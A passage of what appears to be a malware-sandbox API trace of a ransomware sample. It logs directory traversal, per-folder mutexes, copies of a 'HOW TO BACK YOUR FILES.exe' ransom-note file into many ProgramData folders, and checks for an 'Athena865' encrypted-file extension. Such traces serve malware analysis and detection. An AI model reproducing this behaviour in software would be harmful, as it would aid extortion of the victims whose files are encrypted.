lpString1=0x241e8ba, lpString2="MSFax" | out: lpString1="MSFax") returned="MSFax" [0103.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a7c0 [0103.018] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519778 [0103.018] lstrcatW (in: lpString1="MSFax", lpString2="\\" | out: lpString1="MSFax\\") returned="MSFax\\" [0103.018] lstrcatW (in: lpString1="MSFax\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSFax\\HOW TO BACK YOUR FILES.exe") returned="MSFax\\HOW TO BACK YOUR FILES.exe" [0103.018] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT\\MSFax\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows nt\\msfax\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.019] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe23d6e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe23d6e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1 [0103.019] lstrcmpiW (lpString1="MSScan", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.019] lstrcmpiW (lpString1="MSScan", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.019] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSScan" | out: lpString1="MSScan") returned="MSScan" [0103.019] lstrcatW (in: lpString1="MSScan", lpString2="\\" | out: lpString1="MSScan\\") returned="MSScan\\" [0103.019] lstrcatW (in: lpString1="MSScan\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSScan\\HOW TO BACK YOUR FILES.exe") returned="MSScan\\HOW TO BACK YOUR FILES.exe" [0103.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Windows NT\\MSScan\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\windows nt\\msscan\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.019] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe23d6e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe23d6e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0 [0103.019] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.020] ReleaseMutex (hMutex=0xec) returned 1 [0103.020] CloseHandle (hObject=0xec) returned 1 [0103.020] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc") returned="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc" [0103.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d8b8 | out: hHeap=0x4f0000) returned 1 [0103.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a7d8 | out: hHeap=0x4f0000) returned 1 [0103.020] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc") returned 53 [0103.020] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D571065B897D85587E18AE9E2D04BABA") returned 0xec [0103.020] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.020] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc") returned="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc" [0103.020] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.020] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.020] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\wwansvc\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.021] GetLastError () returned 0x0 [0103.021] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.022] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.022] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc48824e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48824e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.022] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.022] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles" [0103.022] lstrcatW (in: lpString1="Profiles", lpString2="\\" | out: lpString1="Profiles\\") returned="Profiles\\" [0103.022] lstrcatW (in: lpString1="Profiles\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Profiles\\HOW TO BACK YOUR FILES.exe") returned="Profiles\\HOW TO BACK YOUR FILES.exe" [0103.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\WwanSvc\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\wwansvc\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.023] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0103.023] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.023] ReleaseMutex (hMutex=0xec) returned 1 [0103.023] CloseHandle (hObject=0xec) returned 1 [0103.023] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Mozilla\\logs" | out: lpString1="C:\\Documents and Settings\\All Users\\Mozilla\\logs") returned="C:\\Documents and Settings\\All Users\\Mozilla\\logs" [0103.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eba0 | out: hHeap=0x4f0000) returned 1 [0103.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c698 | out: hHeap=0x4f0000) returned 1 [0103.023] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Mozilla\\logs") returned 48 [0103.024] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FCA0A3D8D36C55D796A7B565F967DE4C") returned 0xec [0103.024] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.024] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Mozilla\\logs" | out: lpString1="C:\\Documents and Settings\\All Users\\Mozilla\\logs") returned="C:\\Documents and Settings\\All Users\\Mozilla\\logs" [0103.024] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.024] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.024] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\mozilla\\logs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.025] GetLastError () returned 0x0 [0103.025] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.026] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.026] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Mozilla\\logs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xe24230c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe24230c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.026] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.026] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.026] lstrcpyW (in: lpString1=0x241e8aa, lpString2="maintenanceservice-install.log.Athena865" | out: lpString1="maintenanceservice-install.log.Athena865") returned="maintenanceservice-install.log.Athena865" [0103.026] lstrlenW (lpString="maintenanceservice-install.log.Athena865") returned 40 [0103.026] lstrlenW (lpString="Athena865") returned 9 [0103.026] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.026] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe24230c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice-install.log.Athena865", cAlternateFileName="MAINTE~1.ATH")) returned 0 [0103.027] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.027] ReleaseMutex (hMutex=0xec) returned 1 [0103.027] CloseHandle (hObject=0xec) returned 1 [0103.027] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0103.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bf88 | out: hHeap=0x4f0000) returned 1 [0103.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6c8 | out: hHeap=0x4f0000) returned 1 [0103.027] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 90 [0103.027] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5EEC17E86DEFDB065D468C441769A96E") returned 0xec [0103.027] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.027] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0103.027] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.027] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.028] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.028] GetLastError () returned 0x0 [0103.028] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.029] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.029] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.029] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.029] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.029] lstrcpyW (in: lpString1=0x241e8fe, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.029] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.029] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.030] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe24230c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe24230c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.030] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.030] ReleaseMutex (hMutex=0xec) returned 1 [0103.030] CloseHandle (hObject=0xec) returned 1 [0103.030] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0103.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51c048 | out: hHeap=0x4f0000) returned 1 [0103.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c6b0 | out: hHeap=0x4f0000) returned 1 [0103.030] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 90 [0103.030] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9432739466884FA51A8A47AF084A75BF") returned 0xec [0103.030] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.030] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0103.030] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.030] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.031] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.031] GetLastError () returned 0x0 [0103.031] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.032] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.032] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.032] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.032] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.032] lstrcpyW (in: lpString1=0x241e8fe, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.032] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.032] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.032] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.033] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xe2449220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2449220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.033] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.033] ReleaseMutex (hMutex=0xec) returned 1 [0103.033] CloseHandle (hObject=0xec) returned 1 [0103.033] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0103.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0103.033] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c680 | out: hHeap=0x4f0000) returned 1 [0103.033] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 99 [0103.033] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0293B987606FC972DFB7A4C97DA8DD15") returned 0xec [0103.033] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.033] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0103.033] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.033] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.034] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.034] GetLastError () returned 0x0 [0103.034] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.035] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.035] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4b7c060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b7c060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.035] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.035] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.035] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.035] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.035] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.035] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.036] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2449220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2449220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, 